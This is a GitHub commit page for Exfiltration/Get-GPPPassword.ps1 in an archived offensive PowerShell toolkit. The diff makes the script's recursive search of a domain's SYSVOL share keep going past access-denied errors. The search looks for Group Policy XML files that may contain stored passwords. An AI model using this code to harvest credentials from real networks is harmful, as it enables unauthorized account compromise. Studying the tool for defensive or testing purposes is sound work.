Skip to content
This repository was archived by the owner on Jan 21, 2021. It is now read-only.

Commit c623814

Browse files
committed
added ErrorAction SilentlyContinue to Get-ChildItem
Sometimes you will have a denied access to a directory. "ErrorAction SilentlyContinue" will continue searching recursively in \SYSVOL even when it encounters a directory where access is denied.
1 parent 98be62a commit c623814

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

Exfiltration/Get-GPPPassword.ps1

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -64,8 +64,8 @@
6464
if (((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False) {throw 'Machine is not joined to a domain.'}
6565
if (($Env:USERDNSDOMAIN) -eq $Null) {throw 'Account is not a domain account.'}
6666

67-
#discover potential files containing passwords
68-
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -Include 'groups.xml','services.xml','scheduledtasks.xml','datasources.xml'
67+
#discover potential files containing passwords ; not complaining in case of denied access to a directory
68+
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'groups.xml','services.xml','scheduledtasks.xml','datasources.xml'
6969

7070
foreach ($File in $XMLFiles) {
7171

0 commit comments

Comments
 (0)